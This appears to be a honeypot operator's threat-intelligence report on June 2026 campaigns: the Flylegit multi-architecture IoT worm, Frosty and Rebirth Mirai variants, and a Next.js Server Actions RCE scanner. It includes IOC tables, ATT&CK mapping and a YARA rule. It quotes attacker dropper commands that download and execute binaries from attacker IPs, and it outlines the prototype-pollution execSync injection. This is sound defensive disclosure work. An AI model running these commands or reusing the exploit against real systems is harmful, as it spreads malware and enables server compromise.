June 2026 IoT surge & web RCE campaign
Three concurrent campaigns observed across our global sensor fleet: Flylegit multi-arch IoT worm with honeypot evasion, Frosty Mirai targeting Realtek infrastructure, and active exploitation of Next.js Server Actions RCE.
Executive summary
In June 2026, three unrelated attack campaigns showed up on our honeypot fleet within the same three-week window: two IoT botnets recruiting devices across a dozen-plus architectures, and a scanner hunting for a Next.js code-execution bug on live web servers. None of the three share infrastructure, but all three were still active, tasking bots or scanning, as of publication.
Between 2026-06-04 and 2026-06-23, cowrAI sensors observed three distinct
campaigns operating concurrently. The most significant is the "Flylegit" IoT worm
(Telegram: t.me/flylegit), a fully multi-architecture botnet deploying 14-arch binaries from
83.168.110.191 under the guise of a system updater. The malware contains explicit honeypot detection
logic that reads /proc/<pid>/comm and exits silently in emulated environments, confirmed
by divergent detonation behavior across our sandbox (ARMv7 connected to C2 at port 1336; ARMv5/6 exited
cleanly with no contacts). 11 of the 14 samples are already flagged by VirusTotal (20-37 of roughly
61-65 engines each, mostly as generic Mirai-lineage trojans); the remaining 3 (armv6l, mips, sparc)
have not yet been submitted, as of 2026-06-23.
In parallel, a Next.js Server Actions RCE scanner (103.13.206.12) has been active since at
least 2026-05-21 (the earliest point our current telemetry retention reaches — the true start may be
earlier), firing 933 exploit attempts in the 14 days leading up to publication, using React Server
Components prototype-pollution to gain unauthenticated code execution on vulnerable Node.js web servers.
The recovered dropper (repositorylinux.dpdns.org/linux.sh, 24,942 bytes) has no VT coverage.
A third campaign, "Frosty" Mirai (family-confirmed), explicitly targets Realtek-based
embedded devices from 109.104.153.60. Sandbox detonation confirmed live C2 at
103.106.228.23:80 across 14 consecutive runs spanning 7 days.
Campaign 1 — Flylegit IoT worm (t.me/flylegit)
Type: Multi-architecture Linux worm / HTTP scanner
Intent: Botnet recruitment, HTTP brute-force scanning
C2: 83.168.110.191:1336 (distribution server doubles as C2)
Attribution: Telegram channel t.me/flylegit (hardcoded string)
VT coverage: 11/14 samples flagged (20-37 engines each, mostly Mirai-lineage); 3 unseen by VT
Alias on disk: updaterros.<arch>
The binary reads /proc/<self>/comm and checks for known emulator/sandbox process names.
If detected, it exits silently with code 0. No C2 contact, no network noise.
Hardcoded taunts in string table:
"Looks like you are a honeypot, this tool was made by t.me/flylegit!"
Sandbox evidence: ARMv7l connected to 83.168.110.191:1336, killed at 300s timeout.
ARMv5l and ARMv6l exited cleanly because the QEMU process name leaked to /proc.
Multi-architecture deployment
14 distinct binaries deployed in a single distribution directory, covering embedded Linux, SoC, mobile, and server targets:
Files named iran.<arch> on the server; renamed to updaterros.<arch>
by the loader after download. The naming convention (iran.*) is consistent with prior "flylegit" tooling
observed in open-source reporting.
Dropper sequence (observed on fleet)
# Attacker arrives via SSH, runs after login:
curl -s http://83.168.110.191/updaterros.armv7l | sh && echo DONE
# The shell script downloads, stages, and executes:
busybox wget http://83.168.110.191/updaterros.armv7l \
-O /data/local/tmp/com.adal
chmod 777 /data/local/tmp/com.adal
/data/local/tmp/com.adal
# Connects back to 83.168.110.191:1336
Malware capabilities (extracted strings)
HTTP scanning functionality is confirmed. The binary emulates a modern browser session targeting common web admin paths:
# HTTP attack surface
/proc/%s/comm ← honeypot process check
%s %s HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
/wp-admin
/api/v1
/index.html
/about
/products
Malware inventory (IOC)
| SHA-256 | Arch | Size | VT | Detonation |
|---|---|---|---|---|
| 3d20d10c…bbdd86 | ARMv7l | 124,640 | 25/61 | C2 hit 83.168.110.191:1336 |
| 41dafa96…d6014f | ARMv5l | 131,928 | 28/63 | Exited clean (sandbox detected) |
| 5a4d7866…7d3e14 | ARMv6l | 146,516 | not seen by VT | Exited clean (sandbox detected) |
| 9ccaf7ad…29d495 | AArch64 | 190,448 | 25/63 | — |
| bdde6169…069c97 | x86-64 | 55,908 | 25/65 | — |
| fc6d6fbc…90bb66 | SPARC | 22,140 | not seen by VT | — |
| c71e597c…46a042 | SH4 | 119,480 | 27/64 | — |
| 79925092…89cf5a | PowerPC | 137,916 | 20/63 | — |
| 34ec597c…40efe3 | MIPSEL | 185,652 | 20/63 | — |
| bc38bc40…c23429 | MIPS | 181,556 | not seen by VT | — |
| fa190db0…9de8fb | m68k | 162,456 | 22/63 | — |
| bc1f71da…0cdf25 | i486 | 79,020 | 37/64 | — |
| a09d4c56…fc50fa | ARMv4l | 135,544 | 27/62 | — |
| 6bb57ac2…2f95a2 | ARC | 140,756 | 22/63 | — |
/proc/self/comm at startup, then connects to single IP:port) remains the more specific signal.
Campaign 2 — Next.js Server Actions RCE (repositorylinux.dpdns.org)
Type: Web application exploitation scanner
Target: Next.js applications with Server Actions enabled
Dropper: repositorylinux.dpdns.org/linux.sh (24,942 bytes)
Attack volume: 933 attempts (14 days, single IP)
VT coverage: not yet submitted to VT
Exfil method: Output leaked via NEXT_REDIRECT digest URL parameter
The attack targets the React Flight protocol's JSON deserializer. By submitting a crafted
multipart/form-data payload to any Next.js Server Action endpoint,
the attacker triggers __proto__:then prototype chain pollution.
The _response._prefix field is injected with arbitrary JavaScript that executes
in the Node.js context via process.mainModule.require('child_process').execSync().
Output is exfiltrated via the redirect URL — a clever technique that avoids any logged HTTP
response body.
Full exploit payload (recovered from fleet)
Key observations
- Attacker uses
-k/--no-check-certificate— the dropper server uses HTTPS with an untrusted certificate. - Dual-fetch pattern (curl fallback to wget) indicates targeting heterogeneous Linux environments.
- The
NEXT_REDIRECTerror digest exfiltration means no explicit HTTP response is needed — the attacker reads the 307 redirect location header from the server response. - Scanner has been consistent for 14 days with no C2 rotation, suggesting a low-OPSEC mass-scanner, not targeted intrusion.
Dropper IOC
| SHA-256 | Type | Size | URL | VT |
|---|---|---|---|---|
| cfab101e…9cd5f5 | Shell script | 24,942 | repositorylinux.dpdns.org/linux.sh | 0/0 (not submitted) |
Campaign 3 — Frosty Mirai (Realtek-targeted)
Type: Mirai botnet variant
Target: Realtek-chipset embedded devices
C2: 103.106.228.23:80 (confirmed active, 14 sandbox connections)
Self-rep vector: SSH brute-force + Realtek exploit (realtek.selfrep arg)
Binary alias on disk: zuki
Family: Mirai (confirmed, heuristic match)
Frosty.mips (33efcefc…) booted successfully in every detonation. The binary
consistently contacts 103.106.228.23:80 and then enters a silent wait loop
(c2_silent_bail) — the C2 is up but not issuing commands during our observation
windows. This is typical Mirai behavior: bots idle until the operator pushes a DDoS job.
C2: 103.106.228.23:80
Status: ALIVE (14/14 connections confirmed)
Bot behavior: connect → idle → await command
Dropper sequence
# Observed loader command from 203.193.150.244 relay:
cd /var
rm -rf zuki
wget http://109.104.153.60/bins/frosty.mips -O zuki
chmod 777 zuki
./zuki realtek.selfrep ← self-replication mode targeting Realtek devices
IOC table
| SHA-256 | Arch | Size | C2 | VT Family |
|---|---|---|---|---|
| 33efcefc…2fa3 | MIPS | 120,488 | 103.106.228.23:80 | Mirai |
Annex — Rebirth Mirai (Huawei/ADB-targeted)
A fourth campaign was observed at lower volume from 176.65.139.48, deploying
rebirth.arm7 (SHA-256: 849840d9…39b5, 199,179 bytes, family: Mirai).
Binary contains explicit Huawei home gateway exploit payload (CVE targeting
POST /ctrlt/DeviceUpgrade_1 with digest auth) and Steam Source Engine Query bytes
(DDoS amplification primitive). Also targets Android ADB (com.supercell.clashroyal
masquerade). Sandbox confirmed C2 at 178.16.52.104:18234,
:19823, :62849.
| SHA-256 | C2 | DDoS Vectors |
|---|---|---|
| 849840d9…39b5 | 178.16.52.104:18234 / :19823 / :62849 | Huawei exploit, Steam query, ADB |
Infrastructure map
Relay / Recon node
203.193.150.244 ──── fires 35-cmd sysrecon sequence ────────────────── victim SSH
│
├── wget http://109.104.153.60/bins/frosty.mips → zuki [Mirai]
│ └── C2 → 103.106.228.23:80
│
├── curl http://83.168.110.191/updaterros.<arch> | sh [Flylegit]
│ └── C2 → 83.168.110.191:1336 (same server)
│
├── wget http://156.226.174.98/bins/sora.<arch> → robben [Sora, unconfirmed]
│ └── C2 → 156.226.174.98:1312 confirmed on MIPS detonation (killed at timeout); other archs exited clean
│
└── wget http://176.65.139.48/rebirth.arm7 [Rebirth Mirai]
└── C2 → 178.16.52.104 :18234/:19823/:62849
Web RCE scanner (separate campaign)
103.13.206.12 ──── RSC prototype pollution form-post ─────────────── Next.js server
└── dropper: repositorylinux.dpdns.org/linux.sh
MITRE ATT&CK mapping
| ID | Technique | Campaign | Evidence |
|---|---|---|---|
| T1110.001 | Brute Force: Password Guessing | All | 718k successful logins / 7d |
| T1059.004 | Unix Shell | All | Command sequences observed post-login |
| T1082 | System Information Discovery | Flylegit, Sora relay | uname, /proc/cpuinfo, ip route, ss -tuln, which yum/apt/pacman/zypper |
| T1083 | File and Directory Discovery | Relay recon | ls -la /, mount, env, history, ps aux sequences |
| T1105 | Ingress Tool Transfer | All | wget/curl dropper fetches to /tmp, /var, /data/local/tmp |
| T1496 | Resource Hijacking | Frosty, Rebirth, Flylegit | Mirai bot recruitment for DDoS botnet |
| T1040 | Network Sniffing (precursor) | Rebirth | Steam query DDoS amplification, Huawei exploit strings |
| T1190 | Exploit Public-Facing Application | Next.js RCE | RSC __proto__:then pollution via Server Actions |
| T1059.007 | JavaScript | Next.js RCE | process.mainModule.require execSync injection |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | Flylegit | /proc/self/comm read at startup; silent exit on emulator detection |
| T1036.004 | Masquerading: Masquerade Task or Service | Flylegit, Rebirth | Binary named updaterros; Rebirth disguised as com.supercell.clashroyal |
| T1071.001 | Application Layer Protocol: Web Protocols | Flylegit C2, Frosty C2, Rebirth C2 | C2 beacons over HTTP :80 and custom TCP ports |
Master IOC list
IP addresses
| IP | Role | First Seen | Confidence |
|---|---|---|---|
| 83.168.110.191 | Flylegit distribution + C2 (:1336) | 2026-06-04 | High |
| 109.104.153.60 | Frosty distribution (/bins/frosty.*) | 2026-06-17 | High |
| 103.106.228.23 | Frosty C2 (:80) | 2026-06-17 | High (14 sandbox hits) |
| 156.226.174.98 | Sora distribution (/bins/sora.*) | 2026-06-22 | High |
| 176.65.139.48 | Rebirth distribution (/rebirth.arm7) | 2026-06-15 | High |
| 178.16.52.104 | Rebirth C2 (:18234,:19823,:62849) | 2026-06-15 | High (sandbox confirmed) |
| 203.193.150.244 | Recon relay / multi-campaign loader | 2026-06-09 | High |
| 103.13.206.12 | Next.js RCE scanner | 2026-05-21 (earliest retained telemetry) | High (933 attempts in 14d to publication) |
Domains
| Domain | Role | Protocol |
|---|---|---|
| repositorylinux.dpdns.org | Next.js RCE dropper server (linux.sh) | HTTPS (self-signed) |
File hashes (SHA-256)
| SHA-256 | Family | Arch | On-disk name |
|---|---|---|---|
| 3d20d10c…bbdd86 | Flylegit | ARMv7l | updaterros.armv7l / iran.armv7l |
| 41dafa96…d6014f | Flylegit | ARMv5l | updaterros.armv5l |
| 5a4d7866…7d3e14 | Flylegit | ARMv6l | updaterros.armv6l |
| 9ccaf7ad…29d495 | Flylegit | AArch64 | iran.aarch64 |
| bdde6169…069c97 | Flylegit | x86-64 | iran.x86_64 |
| fc6d6fbc…90bb66 | Flylegit | SPARC | iran.sparc |
| c71e597c…46a042 | Flylegit | SH4 | iran.sh4 |
| 79925092…89cf5a | Flylegit | PowerPC | iran.powerpc |
| 34ec597c…40efe3 | Flylegit | MIPSEL | iran.mipsel |
| bc38bc40…c23429 | Flylegit | MIPS | iran.mips |
| fa190db0…9de8fb | Flylegit | m68k | iran.m68k |
| bc1f71da…0cdf25 | Flylegit | i486 | iran.i486 |
| a09d4c56…fc50fa | Flylegit | ARMv4l | iran.armv4l |
| 6bb57ac2…2f95a2 | Flylegit | ARC | iran.arc |
| 33efcefc…2fa3 | Frosty/Mirai | MIPS | zuki |
| 849840d9…39b5 | Rebirth/Mirai | ARMv7 | com.supercell.clashroyal |
| cfab101e…9cd5f5 | linux.sh dropper | Shell script | linux.sh |
| 06f8f80d…c7eada | Sora (unconfirmed) | x86 | robben |
| bed2dc64…b57a | Sora (unconfirmed) | MIPS | robben |
| ae353956…af0e8 | Sora (unconfirmed) | x86-64 | robben |
| 2f25ceeb…1efd | Sora (unconfirmed) | i686 | robben |
| 2abc33cb…049d2 | Sora (unconfirmed) | ARMv7 | robben |
Detection signatures
Suricata — Flylegit distribution server
Suricata — Frosty/Mirai C2
Suricata — Next.js RSC prototype pollution RCE
Yara — Flylegit honeypot detection string
rule Flylegit_IoT_Worm_Honeypot_Check {
meta:
author = "cowrAI"
date = "2026-06-23"
description = "Flylegit multi-arch worm with honeypot detection"
reference = "https://cowrai.com/research/june-2026-iot-surge"
strings:
$hp_str = "Looks like you are a honeypot, this tool was made by t.me/flylegit!" ascii
$tg = "t.me/flylegit" ascii
$proc = "/proc/%s/comm" ascii
condition:
uint32(0) == 0x464C457F and // ELF magic
any of them
}
Collection methodology
All data collected from the cowrAI distributed SSH/Telnet honeypot fleet, deployed across multiple cloud providers and geographic regions. Fleet nodes use an LLM-driven shell backend for authentic interaction, plus a randomized subset of alt-protocol lure daemons that capture exploitation attempts against commonly-targeted services beyond SSH/Telnet, including the ADB, SOAP, HTTP, Redis, and other services referenced in this report.
Events ingest in near-real-time into the fleet's operational data store, with a separate analytics pipeline for fleet-wide aggregates. Binaries are captured automatically and classified through an automated pipeline (strings extraction → family heuristics → VirusTotal → tria.ge → AI summary → YARA). Sandbox detonation runs in an isolated environment with egress routed through a residential-style VPN for realistic network conditions and outbound traffic controls to prevent the sandbox from meaningfully participating in any attack; runs default to a short observation window, with an extended-dwell option for deeper behavioral observation.
/proc/self/comm anti-sandbox check
covered in Campaign 1 is why ARMv5/6 samples exited without C2 contact while ARMv7 connected.
QEMU process name masking is not currently implemented, a known gap in our detonation environment.